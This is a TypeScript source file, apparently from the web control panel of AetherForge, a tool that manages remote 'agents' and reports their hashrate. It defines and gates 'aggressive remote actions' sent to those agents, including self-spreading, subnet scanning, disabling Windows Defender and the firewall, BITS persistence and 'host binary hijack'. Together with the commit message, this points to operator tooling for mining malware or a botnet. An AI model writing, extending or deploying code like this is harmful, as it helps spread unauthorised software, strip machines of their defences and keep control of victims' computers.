Files
AetherForge/server/web/src/help/aggressiveActions.ts
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

93 lines
2.6 KiB
TypeScript

import type { AgentCapabilities } from '../types';
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch',
'hole_punch_close',
'hole_punch_status',
'spread_now',
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
] as const;
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
export function canRunAggressiveAction(
action: AggressiveRemoteAction,
caps?: AgentCapabilities | null,
platform?: string
): boolean {
if (platform === 'darwin' && action === 'defender_off') return false;
if (
platform !== 'windows' &&
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
) {
return false;
}
if (!caps) return true;
switch (action) {
case 'hole_punch':
case 'hole_punch_close':
case 'hole_punch_status':
return caps.hole_punch;
case 'spread_now':
return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel':
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':
case 'firewall_off':
case 'firewall_on':
case 'firewall_profiles':
case 'firewall_remove':
case 'bits_persist':
case 'host_binary_persist':
return caps.remote_aggressive;
case 'mesh_status':
return caps.mesh_p2p;
default:
return false;
}
}
export function aggressiveActionHint(
action: AggressiveRemoteAction,
caps?: AgentCapabilities | null,
platform?: string
): string | undefined {
if (platform === 'darwin' && action === 'defender_off') {
return 'Defender disable not supported on macOS';
}
if (platform !== 'windows' && action.startsWith('firewall_')) {
return 'Firewall control is Windows-only';
}
if (platform !== 'windows' && action === 'bits_persist') {
return 'BITS persistence is Windows-only';
}
if (platform !== 'windows' && action === 'host_binary_persist') {
return 'Host binary hijack is Windows-only';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':
case 'hole_punch_close':
case 'hole_punch_status':
return 'Re-forge with Advanced → NAT Hole Punch';
case 'spread_now':
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
case 'mesh_status':
return 'Re-forge with Mesh P2P';
default:
return 'Re-forge with Remote Aggressive Ops (Advanced)';
}
}